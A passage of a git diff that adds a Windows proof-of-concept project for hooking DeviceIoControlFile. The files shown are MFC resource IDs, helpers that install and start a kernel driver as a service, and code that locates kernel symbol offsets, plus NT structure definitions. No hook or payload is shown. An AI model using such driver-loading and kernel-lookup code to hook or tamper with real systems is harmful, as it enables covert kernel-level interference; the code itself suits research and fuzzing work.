0xF290 +#define AFX_IDP_SQL_ROW_UPDATE_NOT_SUPPORTED 0xF291 +#define AFX_IDP_SQL_ODBC_V2_REQUIRED 0xF292 +#define AFX_IDP_SQL_NO_POSITIONED_UPDATES 0xF293 +#define AFX_IDP_SQL_LOCK_MODE_NOT_SUPPORTED 0xF294 +#define AFX_IDP_SQL_DATA_TRUNCATED 0xF295 +#define AFX_IDP_SQL_ROW_FETCH 0xF296 +#define AFX_IDP_SQL_INCORRECT_ODBC 0xF297 +#define AFX_IDP_SQL_UPDATE_DELETE_FAILED 0xF298 +#define AFX_IDP_SQL_DYNAMIC_CURSOR_NOT_SUPPORTED 0xF299 +#define AFX_IDP_SQL_FIELD_NOT_FOUND 0xF29A +#define AFX_IDP_SQL_BOOKMARKS_NOT_SUPPORTED 0xF29B +#define AFX_IDP_SQL_BOOKMARKS_NOT_ENABLED 0xF29C +#define AFX_IDS_DELETED 0xF29D +#define AFX_IDP_DAO_ENGINE_INITIALIZATION 0xF2B0 +#define AFX_IDP_DAO_DFX_BIND 0xF2B1 +#define AFX_IDP_DAO_OBJECT_NOT_OPEN 0xF2B2 +#define AFX_IDP_DAO_ROWTOOSHORT 0xF2B3 +#define AFX_IDP_DAO_BADBINDINFO 0xF2B4 +#define AFX_IDP_DAO_COLUMNUNAVAILABLE 0xF2B5 +#define AFX_IDS_HTTP_TITLE 0xF2D1 +#define AFX_IDS_HTTP_NO_TEXT 0xF2D2 +#define AFX_IDS_HTTP_BAD_REQUEST 0xF2D3 +#define AFX_IDS_HTTP_AUTH_REQUIRED 0xF2D4 +#define AFX_IDS_HTTP_FORBIDDEN 0xF2D5 +#define AFX_IDS_HTTP_NOT_FOUND 0xF2D6 +#define AFX_IDS_HTTP_SERVER_ERROR 0xF2D7 +#define AFX_IDS_HTTP_NOT_IMPLEMENTED 0xF2D8 +#define AFX_IDS_CHECKLISTBOX_UNCHECK 0xF2E1 +#define AFX_IDS_CHECKLISTBOX_CHECK 0xF2E2 +#define AFX_IDS_CHECKLISTBOX_MIXED 0xF2E3 +#define AFX_IDS_PROPPAGE_UNKNOWN 0xFE01 +#define AFX_IDS_COLOR_DESKTOP 0xFE04 +#define AFX_IDS_COLOR_APPWORKSPACE 0xFE05 +#define AFX_IDS_COLOR_WNDBACKGND 0xFE06 +#define AFX_IDS_COLOR_WNDTEXT 0xFE07 +#define AFX_IDS_COLOR_MENUBAR 0xFE08 +#define AFX_IDS_COLOR_MENUTEXT 0xFE09 +#define AFX_IDS_COLOR_ACTIVEBAR 0xFE0A +#define AFX_IDS_COLOR_INACTIVEBAR 0xFE0B +#define AFX_IDS_COLOR_ACTIVETEXT 0xFE0C +#define AFX_IDS_COLOR_INACTIVETEXT 0xFE0D +#define AFX_IDS_COLOR_ACTIVEBORDER 0xFE0E +#define AFX_IDS_COLOR_INACTIVEBORDER 0xFE0F +#define AFX_IDS_COLOR_WNDFRAME 0xFE10 +#define AFX_IDS_COLOR_SCROLLBARS 0xFE11 +#define AFX_IDS_COLOR_BTNFACE 0xFE12 +#define AFX_IDS_COLOR_BTNSHADOW 0xFE13 +#define AFX_IDS_COLOR_BTNTEXT 0xFE14 +#define AFX_IDS_COLOR_BTNHIGHLIGHT 0xFE15 +#define AFX_IDS_COLOR_DISABLEDTEXT 0xFE16 +#define AFX_IDS_COLOR_HIGHLIGHT 0xFE17 +#define AFX_IDS_COLOR_HIGHLIGHTTEXT 0xFE18 +#define AFX_IDS_REGULAR 0xFE19 +#define AFX_IDS_BOLD 0xFE1A +#define AFX_IDS_ITALIC 0xFE1B +#define AFX_IDS_BOLDITALIC 0xFE1C +#define AFX_IDS_SAMPLETEXT 0xFE1D +#define AFX_IDS_DISPLAYSTRING_FONT 0xFE1E +#define AFX_IDS_DISPLAYSTRING_COLOR 0xFE1F +#define AFX_IDS_DISPLAYSTRING_PICTURE 0xFE20 +#define AFX_IDS_PICTUREFILTER 0xFE21 +#define AFX_IDS_PICTYPE_UNKNOWN 0xFE22 +#define AFX_IDS_PICTYPE_NONE 0xFE23 +#define AFX_IDS_PICTYPE_BITMAP 0xFE24 +#define AFX_IDS_PICTYPE_METAFILE 0xFE25 +#define AFX_IDS_PICTYPE_ICON 0xFE26 +#define AFX_IDS_COLOR_PPG 0xFE28 +#define AFX_IDS_COLOR_PPG_CAPTION 0xFE29 +#define AFX_IDS_FONT_PPG 0xFE2A +#define AFX_IDS_FONT_PPG_CAPTION 0xFE2B +#define AFX_IDS_PICTURE_PPG 0xFE2C +#define AFX_IDS_PICTURE_PPG_CAPTION 0xFE2D +#define AFX_IDS_PICTUREBROWSETITLE 0xFE30 +#define AFX_IDS_BORDERSTYLE_0 0xFE31 +#define AFX_IDS_BORDERSTYLE_1 0xFE32 +#define AFX_IDS_VERB_EDIT 0xFE40 +#define AFX_IDS_VERB_PROPERTIES 0xFE41 +#define AFX_IDP_PICTURECANTOPEN 0xFE83 +#define AFX_IDP_PICTURECANTLOAD 0xFE84 +#define AFX_IDP_PICTURETOOLARGE 0xFE85 +#define AFX_IDP_PICTUREREADFAILED 0xFE86 +#define AFX_IDP_E_ILLEGALFUNCTIONCALL 0xFEA0 +#define AFX_IDP_E_OVERFLOW 0xFEA1 +#define AFX_IDP_E_OUTOFMEMORY 0xFEA2 +#define AFX_IDP_E_DIVISIONBYZERO 0xFEA3 +#define AFX_IDP_E_OUTOFSTRINGSPACE 0xFEA4 +#define AFX_IDP_E_OUTOFSTACKSPACE 0xFEA5 +#define AFX_IDP_E_BADFILENAMEORNUMBER 0xFEA6 +#define AFX_IDP_E_FILENOTFOUND 0xFEA7 +#define AFX_IDP_E_BADFILEMODE 0xFEA8 +#define AFX_IDP_E_FILEALREADYOPEN 0xFEA9 +#define AFX_IDP_E_DEVICEIOERROR 0xFEAA +#define AFX_IDP_E_FILEALREADYEXISTS 0xFEAB +#define AFX_IDP_E_BADRECORDLENGTH 0xFEAC +#define AFX_IDP_E_DISKFULL 0xFEAD +#define AFX_IDP_E_BADRECORDNUMBER 0xFEAE +#define AFX_IDP_E_BADFILENAME 0xFEAF +#define AFX_IDP_E_TOOMANYFILES 0xFEB0 +#define AFX_IDP_E_DEVICEUNAVAILABLE 0xFEB1 +#define AFX_IDP_E_PERMISSIONDENIED 0xFEB2 +#define AFX_IDP_E_DISKNOTREADY 0xFEB3 +#define AFX_IDP_E_PATHFILEACCESSERROR 0xFEB4 +#define AFX_IDP_E_PATHNOTFOUND 0xFEB5 +#define AFX_IDP_E_INVALIDPATTERNSTRING 0xFEB6 +#define AFX_IDP_E_INVALIDUSEOFNULL 0xFEB7 +#define AFX_IDP_E_INVALIDFILEFORMAT 0xFEB8 +#define AFX_IDP_E_INVALIDPROPERTYVALUE 0xFEB9 +#define AFX_IDP_E_INVALIDPROPERTYARRAYINDEX 0xFEBA +#define AFX_IDP_E_SETNOTSUPPORTEDATRUNTIME 0xFEBB +#define AFX_IDP_E_SETNOTSUPPORTED 0xFEBC +#define AFX_IDP_E_NEEDPROPERTYARRAYINDEX 0xFEBD +#define AFX_IDP_E_SETNOTPERMITTED 0xFEBE +#define AFX_IDP_E_GETNOTSUPPORTEDATRUNTIME 0xFEBF +#define AFX_IDP_E_GETNOTSUPPORTED 0xFEC0 +#define AFX_IDP_E_PROPERTYNOTFOUND 0xFEC1 +#define AFX_IDP_E_INVALIDCLIPBOARDFORMAT 0xFEC2 +#define AFX_IDP_E_INVALIDPICTURE 0xFEC3 +#define AFX_IDP_E_PRINTERERROR 0xFEC4 +#define AFX_IDP_E_CANTSAVEFILETOTEMP 0xFEC5 +#define AFX_IDP_E_SEARCHTEXTNOTFOUND 0xFEC6 +#define AFX_IDP_E_REPLACEMENTSTOOLONG 0xFEC7 + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 102 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1011 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.ico b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.ico new file mode 100644 index 00000000..69db61eb Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.ico differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.png b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.png new file mode 100644 index 00000000..46dde857 Binary files /dev/null and b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/resources/icon.png differ diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.cpp new file mode 100644 index 00000000..a513dc16 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.cpp @@ -0,0 +1,368 @@ +#include "stdafx.h" + +// defined if ioctlfuzzer.cpp +extern HANDLE hDevice; +//-------------------------------------------------------------------------------------- +BOOL DrvOpenDevice(PWSTR DriverName, HANDLE *lphDevice) +{ + WCHAR DeviceName[MAX_PATH]; + HANDLE hDevice = NULL; + + if ((GetVersion() & 0xFF) >= 5) + { + wcscpy(DeviceName, L"\\\\.\\Global\\"); + } + else + { + wcscpy(DeviceName, L"\\\\.\\"); + } + + wcscat(DeviceName, DriverName); + + DbgMsg(__FILE__, __LINE__, "Opening '%ws'...\n", DeviceName); + + hDevice = CreateFileW( + DeviceName, + GENERIC_READ | GENERIC_WRITE, + 0, NULL, + OPEN_EXISTING, + 0, NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + { + DbgMsg(__FILE__, __LINE__, "CreateFile() ERROR %d\n", GetLastError()); + return FALSE; + } + + *lphDevice = hDevice; + + return TRUE; +} +//-------------------------------------------------------------------------------------- +BOOL DrvDeviceRequest(PREQUEST_BUFFER Request, DWORD dwRequestSize) +{ + BOOL bRet = FALSE; + + if (hDevice == NULL) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__ "() ERROR: Invalid device handle\n"); + return FALSE; + } + + PREQUEST_BUFFER Response = (PREQUEST_BUFFER)M_ALLOC(dwRequestSize); + if (Response) + { + DWORD dwBytes = 0; + ZeroMemory(Response, dwRequestSize); + + // send request to driver + if (DeviceIoControl( + hDevice, + IOCTL_DRV_CONTROL, + Request, + dwRequestSize, + Response, + dwRequestSize, + &dwBytes, NULL)) + { + +#ifdef DBG_IO + + DbgMsg( + __FILE__, __LINE__, + __FUNCTION__ "() %d bytes returned; status 0x%.8x\n", + dwBytes, Response->Status + ); +#endif + memcpy(Request, Response, dwRequestSize); + + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "DeviceIoControl() ERROR %d\n", GetLastError()); + } + + M_FREE(Response); + } + else + { + DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError()); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOL DrvServiceStart(char *lpszServiceName, char *lpszPath, PBOOL bAllreadyStarted) +{ + BOOL bRet = FALSE; + SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (hScm) + { + DbgMsg(__FILE__, __LINE__, "Creating service...\n"); + + // create service for kernel-mod driver + SC_HANDLE hService = CreateService( + hScm, + lpszServiceName, + lpszServiceName, + SERVICE_START | DELETE | SERVICE_STOP, + SERVICE_KERNEL_DRIVER, + SERVICE_DEMAND_START, + SERVICE_ERROR_IGNORE, + lpszPath, + NULL, NULL, NULL, NULL, NULL + ); + if (hService == NULL) + { + if (GetLastError() == ERROR_SERVICE_EXISTS) + { + // open existing service + if (hService = OpenService(hScm, lpszServiceName, SERVICE_START | DELETE | SERVICE_STOP)) + { + DbgMsg(__FILE__, __LINE__, "Allready exists\n"); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "CreateService() ERROR %d\n", GetLastError()); + } + } + else + { + DbgMsg(__FILE__, __LINE__, "OK\n"); + } + + if (hService) + { + DbgMsg(__FILE__, __LINE__, "Starting service...\n"); + + // start service + if (StartService(hService, 0, NULL)) + { + DbgMsg(__FILE__, __LINE__, "OK\n"); + bRet = TRUE; + } + else + { + if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) + { + // service is allready started + DbgMsg(__FILE__, __LINE__, "Allready running\n"); + + if (bAllreadyStarted) + { + *bAllreadyStarted = TRUE; + } + + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "StartService() ERROR %d\n", GetLastError()); + } + } + + CloseServiceHandle(hService); + } + + CloseServiceHandle(hScm); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOL DrvServiceStop(char *lpszServiceName) +{ + BOOL bRet = FALSE; + + SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (hScm) + { + DbgMsg(__FILE__, __LINE__, "Opening service...\n"); + + // open existing service + SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS); + if (hService) + { + SERVICE_STATUS Status; + + DbgMsg(__FILE__, __LINE__, "OK\n"); + DbgMsg(__FILE__, __LINE__, "Stopping service...\n"); + + // stop service + if (ControlService(hService, SERVICE_CONTROL_STOP, &Status)) + { + DbgMsg(__FILE__, __LINE__, "OK\n"); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "ControlService() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hService); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hScm); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); + + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +BOOL DrvServiceRemove(char *lpszServiceName) +{ + BOOL bRet = FALSE; + + SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (hScm) + { + DbgMsg(__FILE__, __LINE__, "Opening service...\n"); + + // open existing service + SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS); + if (hService) + { + SERVICE_STATUS Status; + + DbgMsg(__FILE__, __LINE__, "OK\n"); + DbgMsg(__FILE__, __LINE__, "Deleting service...\n"); + + // delete service + if (DeleteService(hService)) + { + DbgMsg(__FILE__, __LINE__, "OK\n"); + bRet = TRUE; + } + else + { + DbgMsg(__FILE__, __LINE__, "DeleteService() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hService); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hScm); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +DWORD DrvServiceGetStartType(char *lpszServiceName) +{ + DWORD dwRet = (DWORD)-1; + + SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (hScm) + { + // open existing service + SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS); + if (hService) + { + DWORD dwBytesNeeded = 0; + char szBuff[0x1000]; + ZeroMemory(&szBuff, sizeof(szBuff)); + + LPQUERY_SERVICE_CONFIG Config = (LPQUERY_SERVICE_CONFIG)&szBuff; + + // query service configuration + if (QueryServiceConfig(hService, Config, sizeof(szBuff), &dwBytesNeeded)) + { + dwRet = Config->dwStartType; + } + else + { + DbgMsg(__FILE__, __LINE__, "QueryServiceConfig() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hService); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hScm); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); + + } + + return dwRet; +} +//-------------------------------------------------------------------------------------- +BOOL DrvServiceSetStartType(char *lpszServiceName, DWORD dwStartType) +{ + BOOL bRet = FALSE; + + SC_HANDLE hScm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); + if (hScm) + { + // open existing service + SC_HANDLE hService = OpenService(hScm, lpszServiceName, SERVICE_ALL_ACCESS); + if (hService) + { + // set new service configuration + bRet = ChangeServiceConfig( + hService, + SERVICE_NO_CHANGE, + dwStartType, + SERVICE_NO_CHANGE, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL, + NULL + ); + if (!bRet) + { + DbgMsg(__FILE__, __LINE__, "ChangeServiceConfig() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hService); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError()); + } + + CloseServiceHandle(hScm); + } + else + { + DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError()); + } + + return bRet; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.h new file mode 100644 index 00000000..27368f32 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/service.h @@ -0,0 +1,7 @@ +BOOL DrvOpenDevice(PWSTR DriverName, HANDLE *lphDevice); +BOOL DrvDeviceRequest(PREQUEST_BUFFER Request, DWORD dwRequestSize); +BOOL DrvServiceStart(char *lpszServiceName, char *lpszPath, PBOOL bAllreadyStarted); +BOOL DrvServiceStop(char *lpszServiceName); +BOOL DrvServiceRemove(char *lpszServiceName); +DWORD DrvServiceGetStartType(char *lpszServiceName); +BOOL DrvServiceSetStartType(char *lpszServiceName, DWORD dwStartType); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/stdafx.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/stdafx.h new file mode 100644 index 00000000..e35c393e --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/stdafx.h @@ -0,0 +1,34 @@ +#define _WIN32_WINNT 0x0501 + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "TlHelp32.h" +#include "dbgsdk/inc/dbghelp.h" + +#include +#include +#include +#include + +#include "resource.h" + +#include "ntdll_defs.h" +#include "undocnt.h" + +#include "options.h" +#include "drvcomm.h" + +#include "common.h" +#include "debug.h" +#include "service.h" +#include "xml.h" +#include "analyzer.h" +#include "symbols.h" diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.cpp new file mode 100644 index 00000000..c94c2362 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.cpp @@ -0,0 +1,158 @@ +#include "stdafx.h" +//-------------------------------------------------------------------------------------- +BOOL GetNormalizedSymbolName(char *lpszName, char *lpszNormalizedName, int NameLen) +{ + int StrLen; + char *lpszStr = lpszName; + + if (!strncmp(lpszName, "??", min(lstrlen(lpszName), 2)) || + !strncmp(lpszName, "__imp__", min(lstrlen(lpszName), 7))) + { + if (NameLen > lstrlen(lpszName)) + { + strcpy(lpszNormalizedName, lpszName); + return TRUE; + } + + return FALSE; + } + + if (*lpszStr == '_' || *lpszStr == '@') + { + lpszStr++; + } + + for (StrLen = 0; StrLen < lstrlen(lpszStr); StrLen++) + { + if (lpszStr[StrLen] == '@') + { + break; + } + } + + if (NameLen > StrLen) + { + strncpy(lpszNormalizedName, lpszStr, StrLen); + lpszNormalizedName[StrLen] = 0; + return TRUE; + } + + return FALSE; +} +//-------------------------------------------------------------------------------------- +typedef struct _ENUM_SYM_PARAM +{ + ULONGLONG Address; + char *lpszName; + +} ENUM_SYM_PARAM, +*PENUM_SYM_PARAM; + +BOOL CALLBACK EnumSymbolsProc( + PSYMBOL_INFO pSymInfo, + ULONG SymbolSize, + PVOID UserContext) +{ + PENUM_SYM_PARAM Param = (PENUM_SYM_PARAM)UserContext; + char szName[0x100]; + + if (GetNormalizedSymbolName(pSymInfo->Name, szName, sizeof(szName))) + { + if (!lstrcmp(szName, Param->lpszName)) + { + Param->Address = (ULONGLONG)pSymInfo->Address; + return FALSE; + } + } + + return TRUE; +} +//-------------------------------------------------------------------------------------- +ULONGLONG GetSymbolByName(char *lpszModuleName, HMODULE hModule, char *lpszName) +{ + ULONGLONG Ret = 0; + + // try to load debug symbols for module + if (SymLoadModuleEx(GetCurrentProcess(), NULL, lpszModuleName, NULL, (DWORD64)hModule, 0, NULL, 0)) + { + ENUM_SYM_PARAM Param; + + Param.Address = NULL; + Param.lpszName = lpszName; + + // get specified symbol address by name + if (!SymEnumSymbols( + GetCurrentProcess(), + (DWORD64)hModule, + NULL, + EnumSymbolsProc, + &Param)) + { + DbgMsg(__FILE__, __LINE__, "SymEnumSymbols() ERROR %d\n", GetLastError()); + } + + if (Param.Address == NULL) + { + DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Can't locate symbol\n"); + } + else + { + Ret = Param.Address; + } + + // unload symbols + SymUnloadModule64(GetCurrentProcess(), (DWORD64)hModule); + } + else + { + DbgMsg(__FILE__, __LINE__, "SymLoadModuleEx() ERROR %d\n", GetLastError()); + } + + return Ret; +} +//-------------------------------------------------------------------------------------- +DWORD GetKernelSymbolOffset(char *lpszSymbolName) +{ + DWORD Ret = 0; + + // get system modules information + PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation); + if (Info) + { + char *lpszKernelName = (char *)Info->Modules[0].FullPathName + Info->Modules[0].OffsetToFileName; + char szKernelPath[MAX_PATH]; + + // get full kernel image path + GetSystemDirectory(szKernelPath, MAX_PATH); + lstrcat(szKernelPath, "\\"); + lstrcat(szKernelPath, lpszKernelName); + + DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Using kernel binary '%s'\r\n", szKernelPath); + + // load kernel module + HMODULE hModule = LoadLibraryEx(szKernelPath, NULL, DONT_RESOLVE_DLL_REFERENCES); + if (hModule) + { + // get symbol offset + LARGE_INTEGER Addr; + Addr.QuadPart = GetSymbolByName(szKernelPath, hModule, lpszSymbolName); + if (Addr.QuadPart > 0) + { + Addr.QuadPart -= (ULONGLONG)hModule; + Ret = Addr.LowPart; + } + + FreeLibrary(hModule); + } + else + { + DbgMsg(__FILE__, __LINE__, "LoadLibraryEx() ERROR %d\r\n", GetLastError()); + } + + M_FREE(Info); + } + + return Ret; +} +//-------------------------------------------------------------------------------------- +// EoF diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.h new file mode 100644 index 00000000..553b1c31 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/symbols.h @@ -0,0 +1,2 @@ + +DWORD GetKernelSymbolOffset(char *lpszSymbolName); diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/undocnt.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/undocnt.h new file mode 100644 index 00000000..fb1393f1 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/undocnt.h @@ -0,0 +1,291 @@ + +/************************************************************/ +/* */ +/* Some structures for native API functions */ +/* */ +/************************************************************/ + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, // obsolete...delete + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + SystemTimeSlipNotification, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, + SystemEmulationProcessorInformation, + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformation, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + MaxSystemInfoClass // MaxSystemInfoClass should always be the last enum + +} SYSTEM_INFORMATION_CLASS; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; // Not filled in + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[ 256 ]; + +} RTL_PROCESS_MODULE_INFORMATION, +*PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ]; + +} RTL_PROCESS_MODULES, +*PRTL_PROCESS_MODULES; + +typedef enum _SHUTDOWN_ACTION +{ + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff + +} SHUTDOWN_ACTION, +*PSHUTDOWN_ACTION; + +typedef struct _DIRECTORY_BASIC_INFORMATION +{ + UNICODE_STRING ObjectName; + UNICODE_STRING ObjectTypeName; + +} DIRECTORY_BASIC_INFORMATION, +*PDIRECTORY_BASIC_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; + +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, +*PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; + +} SYSTEM_HANDLE_INFORMATION, +*PSYSTEM_HANDLE_INFORMATION; + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, // 2 + FileBothDirectoryInformation, // 3 + FileBasicInformation, // 4 wdm + FileStandardInformation, // 5 wdm + FileInternalInformation, // 6 + FileEaInformation, // 7 + FileAccessInformation, 